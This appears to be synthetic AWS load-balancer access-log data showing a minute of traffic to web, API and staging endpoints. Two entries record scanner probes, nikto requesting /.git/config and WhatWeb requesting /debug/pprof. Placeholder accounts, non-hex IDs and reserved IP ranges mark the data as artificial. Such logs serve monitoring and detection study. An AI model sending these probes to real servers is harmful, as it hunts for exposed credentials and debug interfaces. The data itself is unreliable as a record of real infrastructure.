ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b863-f163eb391447479aaaf97317" "prod-api-alb.example.com" "-" 9 2024-11-01T00:03:31.752713Z "forward" "-" "-" "10.0.136.48:443" "302" "-" "-" -https 2024-11-01T00:03:32.143224Z prod-api-alb 219.231.213.196:49041 10.0.177.24:443 0.019272 0.395859 0.093742 200 200 286 3440 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b864-9b55a368b71941bf8dd79e6c" "prod-api-alb.example.com" "-" 9 2024-11-01T00:03:32.143224Z "forward" "-" "-" "10.0.177.24:443" "200" "-" "-" -https 2024-11-01T00:03:32.282754Z prod-web-alb 31.222.176.214:18903 10.0.141.130:443 0.021697 0.465459 0.073727 302 302 40 4303 "GET /products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b864-b89888b503ff4dbd9f6b6d0c" "prod-web-alb.example.com" "-" 8 2024-11-01T00:03:32.282754Z "forward" "-" "-" "10.0.141.130:443" "302" "-" "-" -https 2024-11-01T00:03:33.027737Z prod-web-alb 211.162.87.89:59821 10.0.209.198:443 0.089286 0.102806 0.034072 200 200 134 13389 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b865-2e319d14ed294de3ba4dd304" "prod-web-alb.example.com" "-" 1 2024-11-01T00:03:33.027737Z "forward" "-" "-" "10.0.209.198:443" "200" "-" "-" -https 2024-11-01T00:03:34.782820Z prod-web-alb 192.104.190.89:50813 10.0.185.165:443 0.042172 0.179291 0.061941 200 200 8 6337 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b866-18e1172109fd4d949d6ecdb2" "prod-web-alb.example.com" "-" 1 2024-11-01T00:03:34.782820Z "forward" "-" "-" "10.0.185.165:443" "200" "-" "-" -http 2024-11-01T00:03:36.466599Z staging-alb 79.129.34.120:44682 100.189.108.66:8080 0.027595 0.174851 0.015508 200 200 174 4663 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b868-f81c29d74aca49b3a0f25168" "staging-alb.example.com" "-" 5 2024-11-01T00:03:36.466599Z "forward" "-" "-" "100.189.108.66:8080" "200" "-" "-" -https 2024-11-01T00:03:37.376468Z prod-web-alb 9.207.13.90:38291 10.0.173.169:443 0.012519 0.064623 0.099096 200 200 752 13117 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b869-3ce6cfe080eb474a8a715de4" "prod-web-alb.example.com" "-" 0 2024-11-01T00:03:37.376468Z "forward" "-" "-" "10.0.173.169:443" "200" "-" "-" -https 2024-11-01T00:03:38.842854Z prod-web-alb 153.113.135.77:63177 10.0.162.188:443 0.045720 0.307928 0.077271 200 200 651 10995 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b86a-a501747d8b2f4089b3831f1b" "prod-web-alb.example.com" "-" 4 2024-11-01T00:03:38.842854Z "forward" "-" "-" "10.0.162.188:443" "200" "-" "-" -https 2024-11-01T00:03:40.674502Z prod-web-alb 17.226.215.212:35969 10.0.114.154:443 0.011561 0.053563 0.034450 301 301 894 13356 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b86c-67bc6940a46a44649a37d504" "prod-web-alb.example.com" "-" 4 2024-11-01T00:03:40.674502Z "forward" "-" "-" "10.0.114.154:443" "301" "-" "-" -https 2024-11-01T00:03:41.701183Z prod-web-alb 100.39.51.36:56243 10.0.176.136:443 0.050059 0.154804 0.008875 200 200 668 8976 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b86d-b233b2a4e0a2480fbaa55b30" "prod-web-alb.example.com" "-" 7 2024-11-01T00:03:41.701183Z "forward" "-" "-" "10.0.176.136:443" "200" "-" "-" -https 2024-11-01T00:03:42.910837Z prod-api-alb 46.82.84.208:37487 10.0.179.125:443 0.096283 0.313197 0.087376 404 404 485 12637 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b86e-0dfd9c91e09244fdbec14786" "prod-api-alb.example.com" "-" 3 2024-11-01T00:03:42.910837Z "forward" "-" "-" "10.0.179.125:443" "404" "-" "-" -https 2024-11-01T00:03:44.444242Z prod-web-alb 214.47.156.116:16595 10.0.29.19:443 0.069135 0.049274 0.022364 200 200 628 3403 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b870-f101ac1feb7f427eb4283f74" "prod-web-alb.example.com" "-" 10 2024-11-01T00:03:44.444242Z "forward" "-" "-" "10.0.29.19:443" "200" "-" "-" -http 2024-11-01T00:03:45.324401Z staging-alb 54.50.255.139:30514 195.175.95.68:80 0.064738 0.124443 0.097884 200 200 190 5509 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b871-3e85ed95332547b694b584ca" "-" "-" 1 2024-11-01T00:03:45.324401Z "forward" "-" "-" "195.175.95.68:80" "200" "-" "-" -https 2024-11-01T00:03:45.512738Z prod-api-alb 98.113.242.37:43392 10.0.11.234:443 0.079523 0.194878 0.023688 200 200 248 3182 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b871-b55924fbf9284bbdb02f8c51" "prod-api-alb.example.com" "-" 0 2024-11-01T00:03:45.512738Z "forward" "-" "-" "10.0.11.234:443" "200" "-" "-" -https 2024-11-01T00:03:45.881916Z prod-api-alb 178.54.95.20:39830 10.0.130.180:443 0.098443 0.410476 0.046568 200 200 886 4147 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b871-01c5f9b31c614d069e9ae5cb" "prod-api-alb.example.com" "-" 1 2024-11-01T00:03:45.881916Z "forward" "-" "-" "10.0.130.180:443" "200" "-" "-" -https 2024-11-01T00:03:46.593852Z prod-web-alb 64.118.17.200:25178 10.0.186.73:443 0.009634 0.456323 0.029872 302 302 812 4517 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b872-d15389895140444b9490548f" "prod-web-alb.example.com" "-" 10 2024-11-01T00:03:46.593852Z "forward" "-" "-" "10.0.186.73:443" "302" "-" "-" -https 2024-11-01T00:03:47.207846Z prod-web-alb 109.114.169.70:52866 10.0.208.158:443 0.077085 0.189163 0.085890 200 200 822 2867 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b873-f5c3a95b67c0478da7f851d0" "prod-web-alb.example.com" "-" 1 2024-11-01T00:03:47.207846Z "forward" "-" "-" "10.0.208.158:443" "200" "-" "-" -https 2024-11-01T00:03:49.172151Z prod-api-alb 245.96.174.113:43800 10.0.64.180:443 0.015231 0.420327 0.076835 200 200 403 8605 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b875-44b0bc82e97745978cf7d56f" "prod-api-alb.example.com" "-" 6 2024-11-01T00:03:49.172151Z "forward" "-" "-" "10.0.64.180:443" "200" "-" "-" -https 2024-11-01T00:03:49.526522Z prod-web-alb 12.241.162.53:60750 10.0.28.182:443 0.088693 0.121681 0.009424 302 302 632 11125 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b875-91fae3ccd69342788f4d8ad0" "prod-web-alb.example.com" "-" 0 2024-11-01T00:03:49.526522Z "forward" "-" "-" "10.0.28.182:443" "302" "-" "-" -https 2024-11-01T00:03:50.532945Z prod-api-alb 59.20.206.100:37365 10.0.231.135:443 0.074096 0.198664 0.042775 200 200 177 4046 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b876-548a3041ac2545b69a9266d3" "prod-api-alb.example.com" "-" 4 2024-11-01T00:03:50.532945Z "forward" "-" "-" "10.0.231.135:443" "200" "-" "-" -https 2024-11-01T00:03:51.561786Z prod-api-alb 185.181.55.98:26314 10.0.110.104:443 0.090294 0.046561 0.002329 403 403 874 5422 "POST /.git/config HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b877-fe98981d99204323a5ff5405" "-" "-" 7 2024-11-01T00:03:51.561786Z "forward" "-" "-" "10.0.110.104:443" "403" "-" "-" -https 2024-11-01T00:03:52.196942Z prod-api-alb 94.227.133.168:18041 10.0.103.104:443 0.000437 0.193016 0.047551 200 200 142 2402 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b878-bdbdc0c38af24f369a04fdb8" "prod-api-alb.example.com" "-" 6 2024-11-01T00:03:52.196942Z "forward" "-" "-" "10.0.103.104:443" "200" "-" "-" -https 2024-11-01T00:03:53.881694Z prod-api-alb 222.112.253.131:45454 10.0.216.236:443 0.021762 0.262135 0.045404 200 200 998 4654 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b879-dc06f175b52940d2afa0ba58" "prod-api-alb.example.com" "-" 0 2024-11-01T00:03:53.881694Z "forward" "-" "-" "10.0.216.236:443" "200" "-" "-" -https 2024-11-01T00:03:54.232328Z prod-web-alb 191.77.5.134:14468 10.0.129.24:443 0.042982 0.272101 0.064562 301 301 199 1509 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b87a-8a37522f69a74d82aa83311c" "-" "-" 9 2024-11-01T00:03:54.232328Z "forward" "-" "-" "10.0.129.24:443" "301" "-" "-" -https 2024-11-01T00:03:55.187304Z prod-web-alb 142.36.104.211:23036 10.0.216.91:443 0.022049 0.178114 0.095531 200 200 647 11092 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b87b-3bd0bc277cd4411eac7f2d1b" "prod-web-alb.example.com" "-" 0 2024-11-01T00:03:55.187304Z "forward" "-" "-" "10.0.216.91:443" "200" "-" "-" -https 2024-11-01T00:03:56.884065Z staging-alb 60.242.26.29:42184 195.91.169.80:443 0.002007 0.244521 0.059724 200 200 221 11137 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b87c-81a29d2e62064c7ca391ba52" "staging-alb.example.com" "-" 8 2024-11-01T00:03:56.884065Z "forward" "-" "-" "195.91.169.80:443" "200" "-" "-" -https 2024-11-01T00:03:57.717869Z prod-web-alb 61.61.66.189:29484 10.0.164.34:443 0.010003 0.454982 0.009988 200 200 978 7089 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b87d-52a93febb20c48fcb17c1200" "prod-web-alb.example.com" "-" 10 2024-11-01T00:03:57.717869Z "forward" "-" "-" "10.0.164.34:443" "200" "-" "-" -https 2024-11-01T00:03:59.392093Z prod-web-alb 55.19.246.119:46071 10.0.65.128:443 0.076699 0.054865 0.064232 301 301 240 12995 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b87f-93496809601e4cfa94c43d25" "prod-web-alb.example.com" "-" 8 2024-11-01T00:03:59.392093Z "forward" "-" "-" "10.0.65.128:443" "301" "-" "-" -https 2024-11-01T00:03:59.894549Z prod-api-alb 38.63.155.139:42178 10.0.116.224:443 0.013612 0.338690 0.007692 200 200 621 14318 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b87f-59029540ccfc482f8da7fad3" "prod-api-alb.example.com" "-" 6 2024-11-01T00:03:59.894549Z "forward" "-" "-" "10.0.116.224:443" "200" "-" "-" -https 2024-11-01T00:04:00.350488Z staging-alb 142.30.84.70:46788 241.104.214.66:8080 0.104527 0.523821 0.049486 200 200 231 2952 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b880-66188994bcef47fcaeaee182" "staging-alb.example.com" "-" 1 2024-11-01T00:04:00.350488Z "forward" "-" "-" "241.104.214.66:8080" "200" "-" "-" -https 2024-11-01T00:04:01.185705Z prod-web-alb 64.221.156.3:18076 10.0.119.255:443 0.095567 0.119993 0.012168 200 200 736 8091 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b881-62734f6cf56744e99403bac8" "prod-web-alb.example.com" "-" 7 2024-11-01T00:04:01.185705Z "forward" "-" "-" "10.0.119.255:443" "200" "-" "-" -https 2024-11-01T00:04:02.687253Z prod-api-alb 221.225.105.146:18473 10.0.194.161:443 0.098199 0.410984 0.005822 200 200 403 9756 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b882-9208d3d55782465bad44a184" "prod-api-alb.example.com" "-" 3 2024-11-01T00:04:02.687253Z "forward" "-" "-" "10.0.194.161:443" "200" "-" "-" -https 2024-11-01T00:04:03.610649Z staging-alb 106.244.11.8:45185 31.188.229.6:443 0.056977 0.321739 0.006802 302 302 17 13484 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b883-a3905c123fd449c0bd540457" "staging-alb.example.com" "-" 7 2024-11-01T00:04:03.610649Z "forward" "-" "-" "31.188.229.6:443" "302" "-" "-" -https 2024-11-01T00:04:03.777485Z prod-web-alb 105.87.229.12:28280 10.0.113.149:443 0.093950 0.128632 0.023265 200 200 968 13081 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b883-81a8b859754e45c3ad4dc114" "prod-web-alb.example.com" "-" 7 2024-11-01T00:04:03.777485Z "forward" "-" "-" "10.0.113.149:443" "200" "-" "-" -https 2024-11-01T00:04:04.674255Z prod-web-alb 129.94.175.249:20646 10.0.254.9:443 0.038447 0.402723 0.055386 200 200 656 4528 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b884-2e39acc3b1854f16b4bd2f82" "prod-web-alb.example.com" "-" 8 2024-11-01T00:04:04.674255Z "forward" "-" "-" "10.0.254.9:443" "200" "-" "-" -https 2024-11-01T00:04:06.521044Z prod-api-alb 119.86.143.23:10446 10.0.240.235:443 0.016993 0.323085 0.091445 200 200 148 5867 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b886-82fb88eab01847cea19db5e8" "prod-api-alb.example.com" "-" 2 2024-11-01T00:04:06.521044Z "forward" "-" "-" "10.0.240.235:443" "200" "-" "-" -https 2024-11-01T00:04:07.726544Z prod-web-alb 55.109.226.44:28834 10.0.221.4:443 0.082035 0.098969 0.038494 200 200 204 7027 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b887-b9dba04969624782af0aa02f" "prod-web-alb.example.com" "-" 4 2024-11-01T00:04:07.726544Z "forward" "-" "-" "10.0.221.4:443" "200" "-" "-" -https 2024-11-01T00:04:09.134999Z prod-api-alb 119.156.113.189:50527 10.0.97.79:443 0.011655 0.209649 0.028591 302 302 147 7829 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b889-9605585a660b4f8a84db6e2e" "prod-api-alb.example.com" "-" 5 2024-11-01T00:04:09.134999Z "forward" "-" "-" "10.0.97.79:443" "302" "-" "-" -https 2024-11-01T00:04:10.557490Z prod-web-alb 191.114.10.139:28284 10.0.226.115:443 0.096664 0.259436 0.012647 301 301 229 4303 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b88a-5991957b074e497a901761ab" "prod-web-alb.example.com" "-" 2 2024-11-01T00:04:10.557490Z "forward" "-" "-" "10.0.226.115:443" "301" "-" "-" -https 2024-11-01T00:04:12.398600Z prod-web-alb 227.192.117.28:35293 10.0.159.226:443 0.009678 0.039165 0.024818 302 302 197 9345 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b88c-f57cf08a5d3f4c108020ace3" "prod-web-alb.example.com" "-" 7 2024-11-01T00:04:12.398600Z "forward" "-" "-" "10.0.159.226:443" "302" "-" "-" -https 2024-11-01T00:04:13.654904Z prod-web-alb 157.44.210.183:60330 10.0.169.149:443 0.088267 0.187087 0.043039 200 200 291 10362 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b88d-cc0a3f5fe7a14c68a871dee5" "prod-web-alb.example.com" "-" 3 2024-11-01T00:04:13.654904Z "forward" "-" "-" "10.0.169.149:443" "200" "-" "-" -https 2024-11-01T00:04:14.447166Z prod-api-alb 112.211.94.132:30740 10.0.51.236:443 0.067652 0.333470 0.003052 200 200 916 6464 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b88e-36a7b5738c7b45e99775eb65" "prod-api-alb.example.com" "-" 10 2024-11-01T00:04:14.447166Z "forward" "-" "-" "10.0.51.236:443" "200" "-" "-" -https 2024-11-01T00:04:16.363869Z prod-web-alb 45.155.205.9:54811 10.0.193.92:443 0.036508 0.263160 0.087072 500 500 70 3001 "POST /debug/pprof HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b890-bc5b64839631404595c96e36" "-" "-" 10 2024-11-01T00:04:16.363869Z "forward" "-" "-" "10.0.193.92:443" "500" "-" "-" -https 2024-11-01T00:04:16.963405Z staging-alb 82.142.180.212:45148 149.227.181.241:8080 0.103213 0.507080 0.012848 200 200 183 13603 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b890-9eb632a5733b46f3a0bd187d" "staging-alb.example.com" "-" 2 2024-11-01T00:04:16.963405Z "forward" "-" "-" "149.227.181.241:8080" "200" "-" "-" -https 2024-11-01T00:04:17.906101Z staging-alb 190.9.199.206:49407 241.143.150.96:443 0.085476 0.001594 0.119743 404 404 97 2986 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b891-538a7eb0ba324c06b7b997c0" "staging-alb.example.com" "-" 3 2024-11-01T00:04:17.906101Z "forward" "-" "-" "241.143.150.96:443" "404" "-" "-" -https 2024-11-01T00:04:18.464368Z prod-web-alb 11.107.229.98:55177 10.0.171.104:443 0.038341 0.353623 0.088573 200 200 239 6990 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b892-7aa3a123fdcf4ea6a5aa4c53" "prod-web-alb.example.com" "-" 6 2024-11-01T00:04:18.464368Z "forward" "-" "-" "10.0.171.104:443" "200" "-" "-" -https 2024-11-01T00:04:20.388329Z prod-api-alb 226.241.155.210:53967 10.0.186.235:443 0.044222 0.480689 0.058343 404 404 926 11274 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b894-b3d9b2c6910549339f186aaf" "prod-api-alb.example.com" "-" 0 2024-11-01T00:04:20.388329Z "forward" "-" "-" "10.0.186.235:443" "404" "-" "-" -https 